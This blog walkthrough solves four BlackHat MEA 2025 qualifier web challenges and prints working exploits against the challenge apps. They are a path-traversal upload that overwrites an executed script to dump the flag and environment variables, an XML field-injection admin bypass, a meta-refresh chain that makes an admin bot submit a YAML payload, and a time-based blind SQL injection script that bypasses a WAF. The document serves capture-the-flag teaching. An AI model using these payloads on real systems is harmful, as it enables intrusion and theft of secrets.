Blackhat MEA 2025 Qualification
This blog covers all web application challenges from the BlackHat 2025 Qualification Round. Each challenge contains a description, the vulnerable code, and steps to exploit it. It serves as a complete walkthrough of the web challenges in this competition.
Challenge1: Hash Generator
This is a small Flask app that accepts hash files, attempts to crack them, and returns results. It stores uploaded files in a hashes directory and executes a local script /app/crack to process them.
Before moving on, quickly set up the environment locally:
Add this line before USER app in the Dockerfile to create a dummy flag for testing:
1
RUN echo "LOCALFLAG{test_flag_123}" > /flag
Build and run the container:
1
2
docker build -t hash-factory .
docker run -it --rm -p 5000:5000 hash-factory
Vulnerable Code
In main.py:
1
hash_file.save(path := hashes / hash_file.filename)
hash_file.filenamecomes directly from the user.- You can supply
../crackas the filename. - This escapes the
hashesdirectory and overwrites the/app/crackscript.
How it gets compromised
Later in the code:
1
crack_results = check_output(["/app/crack", path], text=True)
- The app executes
/app/crackfor every uploaded file. - By overwriting
/app/crackwith your own Python script, the server now executes your code instead of the original hash cracker.
Exploit script
Create a file crack.py with the following content:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
import os
print("hash_factory v1.0:")
flag_path = "/app/flag"
try:
with open(flag_path, "r") as f:
print(f.read().strip())
except FileNotFoundError:
print("[fallback] listing / and env...")
print("\n".join(os.listdir("/")))
for k, v in os.environ.items():
print(f"{k}={v}")
Use curl to overwrite /app/crack and get the flag:
1
curl -s -F 'hash_file=@crack.py;filename=../crack' http://127.0.0.1:5000/
Output:
1
2
3
4
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@picocss/pico@2/css/pico.min.css" />
<div style="width:48rem;margin:2rem auto;"><pre>hash_factory v1.0:
LOCALFLAG{test_flag_123}
</pre></div>
Challenge2: Go-brr
This challenge is a web application that combines a Go-based authentication service and a Flask frontend. The goal is to bypass the admin check and retrieve the flag.
Build and run the app locally:
1
2
3
docker-compose build
docker build -t go-brr-app .
docker-compose up
Now the application should be running:
Vulnerability Explanation
The Go User struct
1
2
3
4
5
type User struct {
Username string `json:"username" xml:"username"`
Password string `json:"password" xml:"password"`
IsAdmin bool `json:"-" xml:"-,omitempty"`
}
IsAdminis not supposed to come from XML or JSON.- However, Go’s
encoding/xmlcan be tricked with a malformed XML tag like:
1
<A:->True</A:->
- Normally, Go ignores unknown fields, but a specially crafted XML can populate private or omitted fields (
IsAdmin).
Example payload:
1
2
3
4
5
6
<User>
<username>alice</username>
<password>supersecret</password>
>
<A:->True</A:->
</User>
This sets IsAdmin = true internally.
Flask trusts Go
1
2
3
check = requests.post(auth_service_url, json=data).text
if check == '"Authorized"':
session['is_admin'] = True
- Once Go returns
"Authorized", Flask setssession['is_admin'] = True. - The session now grants admin privileges.
Creating a user
- Intercept a request to
/user, change it toPOSTand setContent-Typetoapplication/json.
- After this request, the session is marked as admin.
Access /admin
- Flask checks only
session['is_admin']for/admin. - By opening the request in the browser and changing
/user→/admin, you can access the admin route and retrieve the flag:
Challenge3: Cute csp
The challenge provides a simple PHP web application running in Docker. It includes:
index.php– main page that reflects user-controlled HTML.report.php– a page where a simulated “XSS bot” (Headless Chrome) visits the supplied URL.admin.php– contains sensitive information (ADMIN_TOKEN).- A dynamic environment variable
DYN_FLAGset in the Docker container (the real flag).
Before moving on, quickly set up the environment locally:
1
2
3
docker-compose build
docker build -t cute-csp-app .
docker-compose up
Vulnerable Components
report.php
1
2
3
4
5
$url = $_REQUEST['url'] ?? null;
if (isset($url) && str_starts_with($url, URL_PREFIX)) {
$url = escapeshellarg($url);
system("python3 bot.py " . $url);
}
- Restricts requests to
http://localhost:5000/index.php. - Simply shells out to
bot.pywith user-controlled input.
index.php
1
@print($_GET["html"] ?? show_source(__FILE__));
- Reflects arbitrary HTML provided via the
htmlparameter. - No sanitization → we can inject
<meta http-equiv="refresh">or other redirect tricks.
bot.py
1
2
3
4
await context.add_cookies([
{"name": "token", "value": ADMIN_TOKEN, "domain": "localhost", "httpOnly": True, "path": "/"}
])
await page.goto(url)
- Simulates an admin browser.
- Visits attacker-controlled pages under
http://localhost:5000/index.php?...with the admin token cookie set. - Effectively acts as an XSS bot with high privileges.
admin.php
1
2
3
4
5
$txs = @yaml_parse_url($url);
...
foreach ($currency_inventory as $cur => $qty) {
printf("Final Inventory %-5s : %s\n", $cur, $cur === 'FL' ? getenv('DYN_FLAG') : $qty);
}
- Processes transactions from a URL.
- Returns
DYN_FLAGfor currencyFLif manipulated correctly.
Exploit Flow
Host exploit HTML (exploit.html) somewhere publicly accessible. Locally, you can use a Python server:
1
2
3
4
┌──(kali㉿kali)-[~/blackhat/writeup/cute_csp/src]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.20.0.2 - - [09/Sep/2025 14:02:37] "GET /exploit.html HTTP/1.1" 200 -
For the challenge, host it using GitHub Pages:
1
https://furious-05.github.io/cute_css/exploit.html
Example exploit.html:
1
2
3
4
5
6
7
<!doctype html>
<meta charset="utf-8">
<form id="f" action="http://localhost:5000/admin.php" method="POST">
<input type="hidden" name="url"
value="http://localhost:5000/admin.php/../index.php?html=-%20amount%3A%201000000%0A%20%20currency%3A%20ZZZ%0A%20%20op%3A%20BUY%0A-%20amount%3A%201000000%0A%20%20currency%3A%20ZZZ%0A%20%20op%3A%20SELL%0A-%20amount%3A%201%0A%20%20currency%3A%20FL%0A%20%20op%3A%20BUY%0A">
</form>
<script>f.submit()</script>
Trigger the bot using report.php:
Locally:
1
curl -vv "http://127.0.0.1:5000/report.php?url=http://localhost:5000/index.php?html=%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3Burl%3Dhttp://172.17.0.1:8000/poc.html%22%3E"
In the lab:
1
2
curl -vv "http://twf2zxixy2s-0.playat.flagyard.com/report.php?url=http://localhost:5000/index.php?html=%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3Burl%3Dhttps%3A%2F%2Ffurious-05.github.io%2Fcute_css%2Fexploit.html%22%3E"
Flow:
The bot loads
index.php.The meta refresh redirects it to our hosted
exploit.html.exploit.htmlsubmits a request toadmin.phpwith our crafted YAML payload.admin.phpprocesses the transactions and prints the flag fromDYN_FLAG.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
┌──(kali㉿kali)-[~/blackhat/writeup/cute_csp/src]
└─$ curl -vv "http://127.0.0.1:5000/report.php?url=http://localhost:5000/index.php?html=%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3Burl%3Dhttp://172.17.0.1:8000/poc.html%22%3E"
14:02:36.977378 [0-0] * [SETUP] added
14:02:36.977576 [0-0] * Trying 127.0.0.1:5000...
14:02:36.977811 [0-0] * [SETUP] Curl_conn_connect(block=0) -> 0, done=0
14:02:36.978600 [0-0] * [SETUP] Curl_conn_connect(block=0) -> 0, done=1
14:02:36.978633 [0-0] * Connected to 127.0.0.1 (127.0.0.1) port 5000
14:02:36.978699 [0-0] * using HTTP/1.x
14:02:36.978834 [0-0] > GET /report.php?url=http://localhost:5000/index.php?html=%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3Burl%3Dhttp://172.17.0.1:8000/poc.html%22%3E HTTP/1.1
14:02:36.978834 [0-0] > Host: 127.0.0.1:5000
14:02:36.978834 [0-0] > User-Agent: curl/8.14.1
14:02:36.978834 [0-0] > Accept: */*
14:02:36.978834 [0-0] >
14:02:36.978975 [0-0] * Request completely sent off
14:02:39.536714 [0-0] < HTTP/1.1 200 OK
14:02:39.537373 [0-0] < Date: Tue, 09 Sep 2025 14:02:36 GMT
14:02:39.537716 [0-0] < Server: Apache/2.4.65 (Debian)
14:02:39.538040 [0-0] < X-Powered-By: PHP/8.3.25
14:02:39.538353 [0-0] < Vary: Accept-Encoding
14:02:39.538730 [0-0] < Transfer-Encoding: chunked
14:02:39.539021 [0-0] < Content-Type: text/html; charset=UTF-8
14:02:39.539312 [0-0] <
<pre>[xssbot] visiting url
--------------------------------
<head></head><body><pre>11111
fgc- amount: 1000000
currency: ZZZ
op: BUY
- amount: 1000000
currency: ZZZ
op: SELL
- amount: 1
currency: FL
op: BUY
22222
urlhttp://localhost:5000/admin.php/../index.php?html=-%20amount%3A%201000000%0A%20%20currency%3A%20ZZZ%0A%20%20op%3A%20BUY%0A-%20amount%3A%201000000%0A%20%20currency%3A%20ZZZ%0A%20%20op%3A%20SELL%0A-%20amount%3A%201%0A%20%20currency%3A%20FL%0A%20%20op%3A%20BUY%0A
33333
Transactions Processing Sheet
--------------------------
- 1000000x ZZZ (Rate: 0.0) = 0
+ 1000000x ZZZ (Rate: 0.0) = 0
- 1x FL (Rate: 1000000.0) = 1000000
Final Inventory ZZZ : 0
Final Inventory FL : BHFlagY{this_is_a_flag}
</pre></body>
--------------------------------
[xssbot] complete
14:02:39.589087 [0-0] * Connection #0 to host 127.0.0.1 left intact
[xssbot] total request time: 2.6081161499023 seconds</pre>
Challenge4: Koko WAF
Koko WAF is a web application protected by a naive regex-based WAF. The goal of this challenge is to bypass the WAF and extract the flag stored in /init.db.
Before starting, build and launch the Docker environment:
1
2
docker-compose build
docker-compose up
This will start the vulnerable application on http://localhost:5008.
Vulnerable Code
The application has several pages, including index.php (login), register.php, and profile.php.
In index.php, the relevant login code is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if(!empty($_POST['username']) && !empty($_POST['password'])) {
$username = $_POST['username'];
$password = sha1($_POST['password']);
if(waf($username)) {
$error_message = "WAF Block - Invalid input detected";
} else {
$res = $conn->query("SELECT * FROM users WHERE username='$username' AND password='$password'");
if($res->num_rows === 1) {
$_SESSION['username'] = $username;
$_SESSION['logged_in'] = true;
header("Location: profile.php");
exit();
} else {
$error_message = "Invalid username or password";
}
}
}
WAF Details
- The
waf.phpfile applies regex-based filters to theusernameparameter. - It blocks quotes, logical operators, SQL keywords, comments, and whitespace.
- However, the WAF can be bypassed with carefully crafted payloads.
Exploit Strategy
We use a time-based blind SQL injection approach:
- The flag is stored in
/init.db. - The WAF blocks normal SQL injection patterns, so we rely on time delays.
- The idea is to craft a payload that causes the database to sleep when a guessed character matches.
- Measure the response time to confirm each character of the flag.
Exploit Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
import requests
import time
URL = "http://localhost:5008/index.php"
SESSION = requests.Session()
# Configuration for the challenge
SLEEP_TIME = 3
THRESHOLD = 2.0 # if response > threshold → condition true
CHARS = "0123456789abcdef}"
FLAG = "BHFlagY{" # known prefix
# Payload template for time-based blind SQL injection
payload_template = (
"'" * 78095 +
"+IF(ASCII(SUBSTRING(LOAD_FILE('/init.db'),{pos},1))={char},SLEEP({delay}),0)#"
)
def send_payload(payload):
start = time.time()
SESSION.post(URL, data={
"username": payload,
"password": "x",
"login-submit": "1"
})
return time.time() - start
def extract_flag():
global FLAG
while not FLAG.endswith("}"):
pos = 1012 + len(FLAG) # offset where the flag starts in /init.db
for c in CHARS:
payload = payload_template.format(pos=pos, char=ord(c), delay=SLEEP_TIME)
elapsed = send_payload(payload)
if elapsed > THRESHOLD:
FLAG += c
print(f"[+] Found char: {c} → {FLAG}")
break
else:
print("[-] No character matched, stopping.")
break
return FLAG
if __name__ == "__main__":
print("[*] Extracting flag...")
flag = extract_flag()
print(f"[!] Final FLAG = {flag}")
Script Logic
- Known prefix: The script starts with
FLAG = "BHFlagY{". - Position calculation: For each iteration,
pos = 1012 + len(FLAG)points to the next character in the database file. - Character loop: The script tries each character in
CHARS = "0123456789abcdef}". - Payload injection: Each guess is injected into the
usernamefield. - Timing check: If the response time exceeds
THRESHOLD(2 seconds), the guess is correct. - Append & continue: Add the correct character to
FLAGand repeat until}is found.
Note
Challenge files for this Qualification Round can be accessed here: BlackHat Qual 2025



